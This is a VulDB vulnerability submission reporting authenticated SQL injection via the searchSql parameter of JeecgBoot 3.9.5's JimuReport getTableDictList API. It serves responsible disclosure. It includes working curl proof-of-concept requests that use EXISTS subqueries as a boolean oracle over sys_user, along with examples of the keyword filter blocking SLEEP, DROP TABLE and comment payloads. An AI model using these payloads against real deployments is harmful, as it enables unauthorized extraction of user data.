Enviar #1035488: JEECG JimuReport 2.5.1 bundled in JeecgBoot 3.9.5 (`org.jeecgframework.jimureport:jimureport-spring-boot4-starter`) JeecgBoot 3.9.5 with bundled `org.jeecgframework.jimureport:jimureport-spring-boot4-starter` 2.5.1; reviewed at commit `e3b9dc0aefe1943d977información

TítuloJEECG JimuReport 2.5.1 bundled in JeecgBoot 3.9.5 (`org.jeecgframework.jimureport:jimureport-spring-boot4-starter`) JeecgBoot 3.9.5 with bundled `org.jeecgframework.jimureport:jimureport-spring-boot4-starter` 2.5.1; reviewed at commit `e3b9dc0aefe1943d977
DescripciónSQL injection via searchSql in the JimuReport table-dictionary API reachable by any authenticated user Vendor: JEECG Affected versions: JeecgBoot 3.9.5 with bundled `org.jeecgframework.jimureport:jimureport-spring-boot4-starter` 2.5.1; reviewed at commit `e3b9dc0aefe1943d9772b026f64ed671a7c82802` (`v3.9.5版本发布`, 2026-08-26), exact-baseline jar sha256 `8984f38a3cd28bd1ede3cdca60e2d4447fa8ce6b32a9ff64e9c3dd5795f2e79a`. The handler exists only in the pinned third-party jar (`getTableDictList` does not appear anywhere in the jeecg-boot tree or its 2 348 commits, and no in-tree fix exists) Vulnerability class: SQL injection through a concatenated table-dictionary condition (CWE-89) with partial-mitigation bypass Preconditions: Any authenticated user — no permission or role is needed, only an ordinary JWT. The route is not in the Shiro `anon` chain, so a JimuReport token (a normal JeecgBoot JWT) is required, and an ordinary JWT is enough: the handler carries no `@RequiresPermissions`/role annotation and no `@JimuSignature`, and the low-privilege `test`-role account `ceshi` sufficed. Without a token the route answers `{"code":500,"message":"Token校验失败,无权限访问!"}`. No administrator role is needed. The `searchSql` query parameter of the JimuReport table-dictionary API is concatenated raw into the dictionary `SELECT`, letting any authenticated user execute attacker-supplied SQL text inside the application's database session. Data flow: HTTP `dictCode`/`searchSql` at `GET /jmreport/form/getTableDictList` → `JimuFormApiService.getTableDictList` → `"select ... where 1=1 and " + searchSql` → `jmreportDynamicDbUtil.b(dbKey, querySql, ...)` dynamic-datasource execution → rows returned to the caller. ### Affected interfaces | Interface | |---| | GET /jeecg-boot/jmreport/form/getTableDictList?dictCode=\<datasource-id\>,\<table\>,\<code-field\>,\<text-field\>&searchSql=\<condition\>&queryAll=true with header `X-Access-Token: <any valid JeecgBoot JWT>` | Primary route detail: ``` GET /jeecg-boot/jmreport/form/getTableDictList?dictCode=<ds>,<table>,<code-field>,<text-field>&searchSql=<condition>&queryAll=true X-Access-Token: <any valid JeecgBoot JWT> ``` Any authenticated user can call the route — the handler exists only in the pinned JimuReport starter jar and carries no `@JimuSignature` and no permission annotation. The caller also picks the datasource, table and column names through `dictCode`, and supplies an SQL expression that is evaluated verbatim after a keyword filter that blocks only statement-breaking payloads. ### Root cause The gap is a caller/authorization mismatch plus a data-to-SQL-text boundary crossing: an interface meant to feed a form widget from a configured table lets any authenticated caller pick the datasource, table and column names (`dictCode`) and supply an SQL expression that is evaluated verbatim. 1. `JimuFormApiController.getTableDictList` → `JimuFormApiService.getTableDictList(dictCode, searchSql, searchText, searchValue, pageNo, pageSize, queryAll)` (decompiled from the exact 2.5.1 starter jar): ```java String[] dictCodeSplit = dictCode.split(","); // caller-supplied datasource/table/fields String dbKey = dictCodeSplit[0]; String table = dictCodeSplit[1]; String codeField = dictCodeSplit[2]; String textField = dictCodeSplit[3]; SqlInjectionUtil.a(new String[]{table, codeField, textField, searchSql}); // keyword guard String querySql = String.format("select %s as value, %s as text from %s where 1=1 ", codeField, textField, table); if (OkConvertUtils.isNotEmpty(searchSql)) { searchSql = searchSql.toLowerCase().replaceAll("\\s*where\\s+", ""); querySql = querySql + " and " + searchSql; // raw concatenation } ... return this.jmreportDynamicDbUtil.b(dbKey, querySql, queryParams); // executed ``` 2. The only guard is `org.jeecg.modules.jmreport.common.util.SqlInjectionUtil`, a keyword check that refuses `;`, `--`/comments, `sleep(...)`, `count `, `char `, `+` and the usual system catalogs — but accepts boolean and subquery expressions. 3. There is no allowlist binding `dictCode` to server-configured dictionary metadata, no parameterization of `searchSql`, and no permission annotation on the handler; the evaluated expression and the chosen datasource/table/fields are all caller-controlled. Consequence: a payload such as `EXISTS(SELECT username FROM sys_user LIMIT 1)` is evaluated by the database inside the dictionary query, so the dictionary response becomes a boolean oracle over any table the datasource can read (the caller also chooses that datasource, table and column names through `dictCode`). This is blind read-only extraction; no write statement is needed for the oracle to work. Baseline: JeecgBoot 3.9.5, self-hosted exact-baseline jar (sha256 `8984f38a...`) on `127.0.0.1:18102`, shipped `dev` profile, MySQL on loopback. A datasource row plus a two-row table `t50c11_dict` (columns `c`,`t`, rows `c1`/`c2`) were created for the probe and dropped afterwards. All requests carry only the low-privilege `ceshi` (role `test`) JWT in `X-Access-Token`; the token value is redacted here. **1. Negative control — no token:** ```sh $ curl -s 'http://127.0.0.1:18102/jeecg-boot/jmreport/form/getTableDictList?dictCode=<ds>,t50c11_dict,c,t&queryAll=true' {"code":500,"message":"Token校验失败,无权限访问!"} ``` **2. Control — token, no `searchSql` (the interface works normally):** ```sh $ curl -s -H 'X-Access-Token: <ceshi JWT>' 'http://127.0.0.1:18102/jeecg-boot/jmreport/form/getTableDictList?dictCode=<ds>,t50c11_dict,c,t&queryAll=true' {"code":200,...,"result":[{"value":"c1","text":"text-one"},{"value":"c2","text":"text-two"}]} ``` **3. Boolean oracle over `sys_user` (a table outside this route's data scope):** ```sh $ curl -s -H 'X-Access-Token: <ceshi JWT>' 'http://127.0.0.1:18102/jeecg-boot/jmreport/form/getTableDictList?dictCode=<ds>,t50c11_dict,c,t&searchSql=EXISTS(SELECT%20username%20FROM%20sys_user%20LIMIT%201)&queryAll=true' {"code":200,...,"result":[{"value":"c1",...},{"value":"c2",...}]} # predicate true -> both rows $ curl -s -H 'X-Access-Token: <ceshi JWT>' 'http://127.0.0.1:18102/jeecg-boot/jmreport/form/getTableDictList?dictCode=<ds>,t50c11_dict,c,t&searchSql=EXISTS(SELECT%20username%20FROM%20sys_user%20LIMIT%200)&queryAll=true' {"code":200,...,"result":[]} # predicate false -> no rows # same with LIMIT 1 OFFSET 4 (fewer than five users): result=[] (false) ``` The `LIMIT 1`/`LIMIT 0`/`LIMIT 1 OFFSET 4` triple shows the returned set depends on the result of a caller-supplied subquery over `sys_user`, not on the fixture table's contents. **4. Concatenation visible in the executed statement (error text):** ```sh $ curl -s -H 'X-Access-Token: <ceshi JWT>' 'http://127.0.0.1:18102/jeecg-boot/jmreport/form/getTableDictList?dictCode=<ds>,t50c11_dict,c,t&searchSql=EXISTS(SELECT%201%20FROM%20sys_user%20WHERE%20username%3D%27admin%27)&queryAll=true' {"code":500,"message":"StatementCallback; bad SQL grammar [select c as value, t as text from t50c11_dict where 1=1 and exists(select 1 from sys_userusername='admin')]",...} ``` The caller payload appears verbatim inside the executed statement (the mangled `sys_userusername` is the handler's own `replaceAll("\\s*where\\s+", "")` step deleting the word `where` from the payload). **5. The shipped keyword guard is a partial mitigation only:** ```sh searchSql=SLEEP(2) -> {"code":...,"message":"请注意,值可能存在SQL注入风险!--->sleep(2)"} searchSql=1=1;drop table -> "...SQL注入风险!--->1=1;drop table t50c11_dict" searchSql=1=1 -- -> "请注意,SQL中不允许含注释,有安全风险!" ``` Statement-breaking payloads are refused while the boolean/subquery oracle of steps 3-4 passes through. All testing was performed against a self-hosted instance on the reporter's own host. No third-party system, production instance or customer data was involved. - **Vendor contact**: GitHub Private Vulnerability Reporting - jeecgboot/jimureport - **Status**: vendor notified 2026-10-06 through GitHub Private Vulnerability Reporting; private report https://github.com/jeecgboot/jimureport/security/advisories/GHSA-652p-28r3-rrwx; not publicly disclosed; no CVE assigned - **Duplicate check**: public advisories (NVD/OSV/GitHub) and the project issue tracker were searched before reporting; please tell us if this duplicates something already tracked internally.
Fuente⚠️ https://github.com/jeecgboot/jimureport
Usuario
 lucasg2g (UID 84737)
Sumisión2026-10-15 07:33 (hace 24 días)
Moderación2026-11-08 15:12 (24 days later)
EstadoAceptado
Entrada de VulDB432887 [JeecgBoot 3.9.5 Table Dictionary API getTableDictList JimuFormApiService.getTableDictList searchSql inyección SQL]
Puntos20

Do you know our Splunk app?

Download it now for free!